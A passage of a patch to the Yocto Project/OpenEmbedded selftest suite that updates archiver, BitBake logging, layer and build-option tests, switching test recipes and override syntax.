+++ b/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
@@ -90,7 +90,7 @@ class RebuildFromSState(SStateBase):
self.assertFalse(failed_cleansstate, msg="The following recipes have failed cleansstate(all others have passed both cleansstate and rebuild from sstate tests): %s" % ' '.join(map(str, failed_cleansstate)))
def test_sstate_relocation(self):
- self.run_test_sstate_rebuild(['core-image-sato-sdk'], relocate=True, rebuild_dependencies=True)
+ self.run_test_sstate_rebuild(['core-image-weston-sdk'], relocate=True, rebuild_dependencies=True)
def test_sstate_rebuild(self):
- self.run_test_sstate_rebuild(['core-image-sato-sdk'], relocate=False, rebuild_dependencies=True)
+ self.run_test_sstate_rebuild(['core-image-weston-sdk'], relocate=False, rebuild_dependencies=True)
diff --git a/meta/lib/oeqa/selftest/cases/archiver.py b/meta/lib/oeqa/selftest/cases/archiver.py
index f8672f8abb..75195241b7 100644
--- a/meta/lib/oeqa/selftest/cases/archiver.py
+++ b/meta/lib/oeqa/selftest/cases/archiver.py
@@ -19,8 +19,8 @@ class Archiver(OESelftestTestCase):
AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
"""
- include_recipe = 'busybox'
- exclude_recipe = 'zlib'
+ include_recipe = 'selftest-ed'
+ exclude_recipe = 'initscripts'
features = 'INHERIT += "archiver"\n'
features += 'ARCHIVER_MODE[src] = "original"\n'
@@ -35,11 +35,11 @@ class Archiver(OESelftestTestCase):
src_path = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['TARGET_SYS'])
# Check that include_recipe was included
- included_present = len(glob.glob(src_path + '/%s-*' % include_recipe))
+ included_present = len(glob.glob(src_path + '/%s-*/*' % include_recipe))
self.assertTrue(included_present, 'Recipe %s was not included.' % include_recipe)
# Check that exclude_recipe was excluded
- excluded_present = len(glob.glob(src_path + '/%s-*' % exclude_recipe))
+ excluded_present = len(glob.glob(src_path + '/%s-*/*' % exclude_recipe))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % exclude_recipe)
def test_archiver_filters_by_type(self):
@@ -51,8 +51,8 @@ class Archiver(OESelftestTestCase):
Author: André Draszik <adraszik@tycoint.com>
"""
- target_recipe = 'initscripts'
- native_recipe = 'zlib-native'
+ target_recipe = 'selftest-ed'
+ native_recipe = 'selftest-ed-native'
features = 'INHERIT += "archiver"\n'
features += 'ARCHIVER_MODE[src] = "original"\n'
@@ -67,11 +67,11 @@ class Archiver(OESelftestTestCase):
src_path_native = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'])
# Check that target_recipe was included
- included_present = len(glob.glob(src_path_target + '/%s-*' % target_recipe))
+ included_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipe))
self.assertTrue(included_present, 'Recipe %s was not included.' % target_recipe)
# Check that native_recipe was excluded
- excluded_present = len(glob.glob(src_path_native + '/%s-*' % native_recipe))
+ excluded_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipe))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % native_recipe)
def test_archiver_filters_by_type_and_name(self):
@@ -86,8 +86,8 @@ class Archiver(OESelftestTestCase):
Author: André Draszik <adraszik@tycoint.com>
"""
- target_recipes = [ 'initscripts', 'zlib' ]
- native_recipes = [ 'update-rc.d-native', 'zlib-native' ]
+ target_recipes = [ 'initscripts', 'selftest-ed' ]
+ native_recipes = [ 'update-rc.d-native', 'selftest-ed-native' ]
features = 'INHERIT += "archiver"\n'
features += 'ARCHIVER_MODE[src] = "original"\n'
@@ -104,17 +104,17 @@ class Archiver(OESelftestTestCase):
src_path_native = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'])
# Check that target_recipe[0] and native_recipes[1] were included
- included_present = len(glob.glob(src_path_target + '/%s-*' % target_recipes[0]))
+ included_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipes[0]))
self.assertTrue(included_present, 'Recipe %s was not included.' % target_recipes[0])
- included_present = len(glob.glob(src_path_native + '/%s-*' % native_recipes[1]))
+ included_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipes[1]))
self.assertTrue(included_present, 'Recipe %s was not included.' % native_recipes[1])
# Check that native_recipes[0] and target_recipes[1] were excluded
- excluded_present = len(glob.glob(src_path_native + '/%s-*' % native_recipes[0]))
+ excluded_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipes[0]))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % native_recipes[0])
- excluded_present = len(glob.glob(src_path_target + '/%s-*' % target_recipes[1]))
+ excluded_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipes[1]))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % target_recipes[1])
@@ -126,6 +126,186 @@ class Archiver(OESelftestTestCase):
features = 'INHERIT += "archiver"\n'
features += 'ARCHIVER_MODE[srpm] = "1"\n'
+ features += 'PACKAGE_CLASSES = "package_rpm"\n'
self.write_config(features)
- bitbake('-n core-image-sato')
+ bitbake('-n selftest-nopackages selftest-ed')
+
+ def _test_archiver_mode(self, mode, target_file_name, extra_config=None):
+ target = 'selftest-ed-native'
+
+ features = 'INHERIT += "archiver"\n'
+ features += 'ARCHIVER_MODE[src] = "%s"\n' % (mode)
+ if extra_config:
+ features += extra_config
+ self.write_config(features)
+
+ bitbake('-c clean %s' % (target))
+ bitbake('-c deploy_archives %s' % (target))
+
+ bb_vars = get_bb_vars(['DEPLOY_DIR_SRC', 'BUILD_SYS'])
+ glob_str = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'], '%s-*' % (target))
+ glob_result = glob.glob(glob_str)
+ self.assertTrue(glob_result, 'Missing archiver directory for %s' % (target))
+
+ archive_path = os.path.join(glob_result[0], target_file_name)
+ self.assertTrue(os.path.exists(archive_path), 'Missing archive file %s' % (target_file_name))
+
+ def test_archiver_mode_original(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[src] = "original"`.
+ """
+
+ self._test_archiver_mode('original', 'ed-1.14.1.tar.lz')
+
+ def test_archiver_mode_patched(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[src] = "patched"`.
+ """
+
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-patched.tar.xz')
+
+ def test_archiver_mode_configured(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[src] = "configured"`.
+ """
+
+ self._test_archiver_mode('configured', 'selftest-ed-native-1.14.1-r0-configured.tar.xz')
+
+ def test_archiver_mode_recipe(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[recipe] = "1"`.
+ """
+
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-recipe.tar.xz',
+ 'ARCHIVER_MODE[recipe] = "1"\n')
+
+ def test_archiver_mode_diff(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[diff] = "1"`.
+ Exclusions controlled by `ARCHIVER_MODE[diff-exclude]` are not yet tested.
+ """
+
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-diff.gz',
+ 'ARCHIVER_MODE[diff] = "1"\n')
+
+ def test_archiver_mode_dumpdata(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[dumpdata] = "1"`.
+ """
+
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-showdata.dump',
+ 'ARCHIVER_MODE[dumpdata] = "1"\n')
+
+ def test_archiver_mode_mirror(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[src] = "mirror"`.
+ """
+
+ self._test_archiver_mode('mirror', 'ed-1.14.1.tar.lz',
+ 'BB_GENERATE_MIRROR_TARBALLS = "1"\n')
+
+ def test_archiver_mode_mirror_excludes(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[src] = "mirror"` and
+ correctly excludes an archive when its URL matches
+ `ARCHIVER_MIRROR_EXCLUDE`.
+ """
+
+ target='selftest-ed'
+ target_file_name = 'ed-1.14.1.tar.lz'
+
+ features = 'INHERIT += "archiver"\n'
+ features += 'ARCHIVER_MODE[src] = "mirror"\n'
+ features += 'BB_GENERATE_MIRROR_TARBALLS = "1"\n'
+ features += 'ARCHIVER_MIRROR_EXCLUDE = "${GNU_MIRROR}"\n'
+ self.write_config(features)
+
+ bitbake('-c clean %s' % (target))
+ bitbake('-c deploy_archives %s' % (target))
+
+ bb_vars = get_bb_vars(['DEPLOY_DIR_SRC', 'TARGET_SYS'])
+ glob_str = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['TARGET_SYS'], '%s-*' % (target))
+ glob_result = glob.glob(glob_str)
+ self.assertTrue(glob_result, 'Missing archiver directory for %s' % (target))
+
+ archive_path = os.path.join(glob_result[0], target_file_name)
+ self.assertFalse(os.path.exists(archive_path), 'Failed to exclude archive file %s' % (target_file_name))
+
+ def test_archiver_mode_mirror_combined(self):
+ """
+ Test that the archiver works with `ARCHIVER_MODE[src] = "mirror"`
+ and `ARCHIVER_MODE[mirror] = "combined"`. Archives for multiple recipes
+ should all end up in the 'mirror' directory.
+ """
+
+ features = 'INHERIT += "archiver"\n'
+ features += 'ARCHIVER_MODE[src] = "mirror"\n'
+ features += 'ARCHIVER_MODE[mirror] = "combined"\n'
+ features += 'BB_GENERATE_MIRROR_TARBALLS = "1"\n'
+ features += 'COPYLEFT_LICENSE_INCLUDE = "*"\n'
+ self.write_config(features)
+
+ for target in ['selftest-ed', 'selftest-hardlink']:
+ bitbake('-c clean %s' % (target))
+ bitbake('-c deploy_archives %s' % (target))
+
+ bb_vars = get_bb_vars(['DEPLOY_DIR_SRC'])
+ for target_file_name in ['ed-1.14.1.tar.lz', 'hello.c']:
+ glob_str = os.path.join(bb_vars['DEPLOY_DIR_SRC'], 'mirror', target_file_name)
+ glob_result = glob.glob(glob_str)
+ self.assertTrue(glob_result, 'Missing archive file %s' % (target_file_name))
+
+ def test_archiver_mode_mirror_gitsm(self):
+ """
+ Test that the archiver correctly handles git submodules with
+ `ARCHIVER_MODE[src] = "mirror"`.
+ """
+ features = 'INHERIT += "archiver"\n'
+ features += 'ARCHIVER_MODE[src] = "mirror"\n'
+ features += 'ARCHIVER_MODE[mirror] = "combined"\n'
+ features += 'BB_GENERATE_MIRROR_TARBALLS = "1"\n'
+ features += 'COPYLEFT_LICENSE_INCLUDE = "*"\n'
+ self.write_config(features)
+
+ bitbake('-c clean git-submodule-test')
+ bitbake('-c deploy_archives -f git-submodule-test')
+
+ bb_vars = get_bb_vars(['DEPLOY_DIR_SRC'])
+ for target_file_name in [
+ 'git2_git.yoctoproject.org.git-submodule-test.tar.gz',
+ 'git2_git.yoctoproject.org.bitbake-gitsm-test1.tar.gz',
+ 'git2_git.yoctoproject.org.bitbake-gitsm-test2.tar.gz',
+ 'git2_git.openembedded.org.bitbake.tar.gz'
+ ]:
+ target_path = os.path.join(bb_vars['DEPLOY_DIR_SRC'], 'mirror', target_file_name)
+ self.assertTrue(os.path.exists(target_path))
+
+ def test_archiver_mode_mirror_gitsm_shallow(self):
+ """
+ Test that the archiver correctly handles git submodules with
+ `ARCHIVER_MODE[src] = "mirror"`.
+ """
+ features = 'INHERIT += "archiver"\n'
+ features += 'ARCHIVER_MODE[src] = "mirror"\n'
+ features += 'ARCHIVER_MODE[mirror] = "combined"\n'
+ features += 'BB_GENERATE_MIRROR_TARBALLS = "1"\n'
+ features += 'COPYLEFT_LICENSE_INCLUDE = "*"\n'
+ features += 'BB_GIT_SHALLOW = "1"\n'
+ features += 'BB_GENERATE_SHALLOW_TARBALLS = "1"\n'
+ features += 'DL_DIR = "${TOPDIR}/downloads-shallow"\n'
+ self.write_config(features)
+
+ bitbake('-c clean git-submodule-test')
+ bitbake('-c deploy_archives -f git-submodule-test')
+
+ bb_vars = get_bb_vars(['DEPLOY_DIR_SRC'])
+ for target_file_name in [
+ 'gitsmshallow_git.yoctoproject.org.git-submodule-test_a2885dd-1_master.tar.gz',
+ 'gitsmshallow_git.yoctoproject.org.bitbake-gitsm-test1_bare_120f4c7-1.tar.gz',
+ 'gitsmshallow_git.yoctoproject.org.bitbake-gitsm-test2_bare_f66699e-1.tar.gz',
+ 'gitsmshallow_git.openembedded.org.bitbake_bare_52a144a-1.tar.gz',
+ 'gitsmshallow_git.openembedded.org.bitbake_bare_c39b997-1.tar.gz'
+ ]:
+ target_path = os.path.join(bb_vars['DEPLOY_DIR_SRC'], 'mirror', target_file_name)
+ self.assertTrue(os.path.exists(target_path))
diff --git a/meta/lib/oeqa/selftest/cases/bblayers.py b/meta/lib/oeqa/selftest/cases/bblayers.py
index f131d9856c..7d74833f61 100644
--- a/meta/lib/oeqa/selftest/cases/bblayers.py
+++ b/meta/lib/oeqa/selftest/cases/bblayers.py
@@ -12,6 +12,11 @@ from oeqa.selftest.case import OESelftestTestCase
class BitbakeLayers(OESelftestTestCase):
+ def test_bitbakelayers_layerindexshowdepends(self):
+ result = runCmd('bitbake-layers layerindex-show-depends meta-poky')
+ find_in_contents = re.search("openembedded-core", result.output)
+ self.assertTrue(find_in_contents, msg = "openembedded-core should have been listed at this step. bitbake-layers layerindex-show-depends meta-poky output: %s" % result.output)
+
def test_bitbakelayers_showcrossdepends(self):
result = runCmd('bitbake-layers show-cross-depends')
self.assertIn('aspell', result.output)
diff --git a/meta/lib/oeqa/selftest/cases/bblogging.py b/meta/lib/oeqa/selftest/cases/bblogging.py
new file mode 100644
index 0000000000..317e68b82f
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/bblogging.py
@@ -0,0 +1,186 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class BitBakeLogging(OESelftestTestCase):
+
+ def assertCount(self, item, entry, count):
+ self.assertEqual(item.count(entry), count, msg="Output:\n'''\n%s\n'''\ndoesn't contain %d copies of:\n'''\n%s\n'''\n" % (item, count, entry))
+
+ def test_shell_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c shelltest -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is shell stdout", result.output)
+ self.assertNotIn("This is shell stderr", result.output)
+
+ def test_shell_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c shelltest -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is shell stdout", 1)
+ self.assertCount(result.output, "This is shell stderr", 1)
+
+ def test_shell_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c shelltest -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_shell_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c shelltest -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exec_func_shell_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is shell stdout", result.output)
+ self.assertNotIn("This is shell stderr", result.output)
+
+ def test_python_exec_func_shell_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is shell stdout", 1)
+ self.assertCount(result.output, "This is shell stderr", 1)
+
+ def test_python_exec_func_shell_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exec_func_shell_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exit_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exit -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python stdout", result.output)
+
+ def test_python_exit_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exit -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A sys.exit() should include the output
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exit_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exit -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exit_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exit -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exec_func_python_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python stdout", result.output)
+
+ def test_python_exec_func_python_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A sys.exit() should include the output
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exec_func_python_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exec_func_python_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_fatal_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_fatal -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python fatal test stdout", result.output)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ def test_python_fatal_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_fatal -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A bb.fatal() should not include the output
+ self.assertNotIn("This is python fatal test stdout", result.output)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ def test_python_fatal_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_fatal -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python fatal test stdout", 1)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ def test_python_fatal_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_fatal -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python fatal test stdout", 1)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
diff --git a/meta/lib/oeqa/selftest/cases/bbtests.py b/meta/lib/oeqa/selftest/cases/bbtests.py
index dc423ec439..cfac7afcf4 100644
--- a/meta/lib/oeqa/selftest/cases/bbtests.py
+++ b/meta/lib/oeqa/selftest/cases/bbtests.py
@@ -63,15 +63,15 @@ class BitbakeTests(OESelftestTestCase):
def test_warnings_errors(self):
result = bitbake('-b asdf', ignore_status=True)
- find_warnings = re.search("Summary: There w.{2,3}? [1-9][0-9]* WARNING messages* shown", result.output)
- find_errors = re.search("Summary: There w.{2,3}? [1-9][0-9]* ERROR messages* shown", result.output)
+ find_warnings = re.search("Summary: There w.{2,3}? [1-9][0-9]* WARNING messages*", result.output)
+ find_errors = re.search("Summary: There w.{2,3}? [1-9][0-9]* ERROR messages*", result.output)
self.assertTrue(find_warnings, msg="Did not find the mumber of warnings at the end of the build:\n" + result.output)
self.assertTrue(find_errors, msg="Did not find the mumber of errors at the end of the build:\n" + result.output)
def test_invalid_patch(self):
# This patch should fail to apply.
- self.write_recipeinc('man-db', 'FILESEXTRAPATHS_prepend := "${THISDIR}/files:"\nSRC_URI += "file://0001-Test-patch-here.patch"')
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_recipeinc('man-db', 'FILESEXTRAPATHS:prepend := "${THISDIR}/files:"\nSRC_URI += "file://0001-Test-patch-here.patch"')
+ self.write_config("INHERIT:remove = \"report-error\"")
result = bitbake('man-db -c patch', ignore_status=True)
self.delete_recipeinc('man-db')
bitbake('-cclean man-db')
@@ -83,12 +83,15 @@ class BitbakeTests(OESelftestTestCase):
def test_force_task_1(self):
# test 1 from bug 5875
+ import uuid
test_recipe = 'zlib'
- test_data = "Microsoft Made No Profit From Anyone's Zunes Yo"
+ # Need to use uuid otherwise hash equivlance would change the workflow
+ test_data = "Microsoft Made No Profit From Anyone's Zunes Yo %s" % uuid.uuid1()
bb_vars = get_bb_vars(['D', 'PKGDEST', 'mandir'], test_recipe)
image_dir = bb_vars['D']
pkgsplit_dir = bb_vars['PKGDEST']
man_dir = bb_vars['mandir']
+ self.write_config("PACKAGE_CLASSES = \"package_rpm\"")
bitbake('-c clean %s' % test_recipe)
bitbake('-c package -f %s' % test_recipe)
@@ -138,7 +141,7 @@ class BitbakeTests(OESelftestTestCase):
self.write_recipeinc('man-db', data)
self.write_config("""DL_DIR = \"${TOPDIR}/download-selftest\"
SSTATE_DIR = \"${TOPDIR}/download-selftest\"
-INHERIT_remove = \"report-error\"
+INHERIT:remove = \"report-error\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
@@ -148,9 +151,6 @@ INHERIT_remove = \"report-error\"
self.delete_recipeinc('man-db')
self.assertEqual(result.status, 1, msg="Command succeded when it should have failed. bitbake output: %s" % result.output)
self.assertIn('Fetcher failure: Unable to find file file://invalid anywhere. The paths that were searched were:', result.output)
- line = self.getline(result, 'Fetcher failure for URL: \'file://invalid\'. Unable to fetch URL from any source.')
- self.assertTrue(line and line.startswith("ERROR:"), msg = "\"invalid\" file \
-doesn't exist, yet fetcher didn't report any error. bitbake output: %s" % result.output)
def test_rename_downloaded_file(self):
# TODO unique dldir instead of using cleanall
@@ -160,7 +160,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
- data = 'SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz;downloadfilename=test-aspell.tar.gz"'
+ data = 'SRC_URI = "https://downloads.yoctoproject.org/mirror/sources/aspell-${PV}.tar.gz;downloadfilename=test-aspell.tar.gz"'
self.write_recipeinc('aspell', data)
result = bitbake('-f -c fetch aspell', ignore_status=True)
self.delete_recipeinc('aspell')
@@ -212,7 +212,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
def test_continue(self):
self.write_config("""DL_DIR = \"${TOPDIR}/download-selftest\"
SSTATE_DIR = \"${TOPDIR}/download-selftest\"
-INHERIT_remove = \"report-error\"
+INHERIT:remove = \"report-error\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
self.write_recipeinc('man-db',"\ndo_fail_task () {\nexit 1 \n}\n\naddtask do_fail_task before do_fetch\n" )
@@ -224,12 +224,12 @@ INHERIT_remove = \"report-error\"
self.assertLess(errorpos,continuepos, msg = "bitbake didn't pass do_fail_task. bitbake output: %s" % result.output)
def test_non_gplv3(self):
- self.write_config('INCOMPATIBLE_LICENSE = "GPLv3"')
+ self.write_config('INCOMPATIBLE_LICENSE = "GPL-3.0-or-later"')
result = bitbake('selftest-ed', ignore_status=True)
self.assertEqual(result.status, 0, "Bitbake failed, exit code %s, output %s" % (result.status, result.output))
lic_dir = get_bb_var('LICENSE_DIRECTORY')
- self.assertFalse(os.path.isfile(os.path.join(lic_dir, 'selftest-ed/generic_GPLv3')))
- self.assertTrue(os.path.isfile(os.path.join(lic_dir, 'selftest-ed/generic_GPLv2')))
+ self.assertFalse(os.path.isfile(os.path.join(lic_dir, 'selftest-ed/generic_GPL-3.0-or-later')))
+ self.assertTrue(os.path.isfile(os.path.join(lic_dir, 'selftest-ed/generic_GPL-2.0-or-later')))
def test_setscene_only(self):
""" Bitbake option to restore from sstate only within a build (i.e. execute no real tasks, only setscene)"""
@@ -297,3 +297,57 @@ INHERIT_remove = \"report-error\"
test_recipe_summary_after = get_bb_var('SUMMARY', test_recipe)
self.assertEqual(expected_recipe_summary, test_recipe_summary_after)
+
+ def test_git_patchtool(self):
+ """ PATCHTOOL=git should work with non-git sources like tarballs
+ test recipe for the test must NOT containt git:// repository in SRC_URI
+ """
+ test_recipe = "man-db"
+ self.write_recipeinc(test_recipe, 'PATCHTOOL=\"git\"')
+ src = get_bb_var("SRC_URI",test_recipe)
+ gitscm = re.search("git://", src)
+ self.assertFalse(gitscm, "test_git_patchtool pre-condition failed: {} test recipe contains git repo!".format(test_recipe))
+ result = bitbake('{} -c patch'.format(test_recipe), ignore_status=False)
+ fatal = re.search("fatal: not a git repository (or any of the parent directories)", result.output)
+ self.assertFalse(fatal, "Failed to patch using PATCHTOOL=\"git\"")
+ self.delete_recipeinc(test_recipe)
+ bitbake('-cclean {}'.format(test_recipe))
+
+ def test_git_patchtool2(self):
+ """ Test if PATCHTOOL=git works with git repo and doesn't reinitialize it
+ """
+ test_recipe = "gitrepotest"
+ src = get_bb_var("SRC_URI",test_recipe)
+ gitscm = re.search("git://", src)
+ self.assertTrue(gitscm, "test_git_patchtool pre-condition failed: {} test recipe doesn't contains git repo!".format(test_recipe))
+ result = bitbake('{} -c patch'.format(test_recipe), ignore_status=False)
+ srcdir = get_bb_var('S', test_recipe)
+ result = runCmd("git log", cwd = srcdir)
+ self.assertFalse("bitbake_patching_started" in result.output, msg = "Repository has been reinitialized. {}".format(srcdir))
+ self.delete_recipeinc(test_recipe)
+ bitbake('-cclean {}'.format(test_recipe))
+
+
+ def test_git_unpack_nonetwork(self):
+ """
+ Test that a recipe with a floating tag that needs to be resolved upstream doesn't
+ access the network in a patch task run in a separate builld invocation
+ """
+
+ # Enable the recipe to float using a distro override
+ self.write_config("DISTROOVERRIDES .= \":gitunpack-enable-recipe\"")
+
+ bitbake('gitunpackoffline -c fetch')
+ bitbake('gitunpackoffline -c patch')
+
+ def test_git_unpack_nonetwork_fail(self):
+ """
+ Test that a recipe with a floating tag which doesn't call get_srcrev() in the fetcher
+ raises an error when the fetcher is called.
+ """
+
+ # Enable the recipe to float using a distro override
+ self.write_config("DISTROOVERRIDES .= \":gitunpack-enable-recipe\"")
+
+ result = bitbake('gitunpackoffline-fail -c fetch', ignore_status=True)
+ self.assertTrue("Recipe uses a floating tag/branch without a fixed SRCREV" in result.output, msg = "Recipe without PV set to SRCPV should have failed: %s" % result.output)
diff --git a/meta/lib/oeqa/selftest/cases/buildoptions.py b/meta/lib/oeqa/selftest/cases/buildoptions.py
index 6a5378d3ff..bfe613b847 100644
--- a/meta/lib/oeqa/selftest/cases/buildoptions.py
+++ b/meta/lib/oeqa/selftest/cases/buildoptions.py
@@ -38,34 +38,35 @@ class ImageOptionsTests(OESelftestTestCase):
p = bb_vars['SYSROOT_DESTDIR'] + bb_vars['bindir'] + "/" + "ccache"
self.assertTrue(os.path.isfile(p), msg = "No ccache found (%s)" % p)
self.write_config('INHERIT += "ccache"')
- self.add_command_to_tearDown('bitbake -c clean m4-native')
- bitbake("m4-native -c clean")
- bitbake("m4-native -f -c compile")
- log_compile = os.path.join(get_bb_var("WORKDIR","m4-native"), "temp/log.do_compile")
+ recipe = "libgcc-initial"
+ self.add_command_to_tearDown('bitbake -c clean %s' % recipe)
+ bitbake("%s -c clean" % recipe)
+ bitbake("%s -f -c compile" % recipe)
+ log_compile = os.path.join(get_bb_var("WORKDIR", recipe), "temp/log.do_compile")
with open(log_compile, "r") as f:
loglines = "".join(f.readlines())
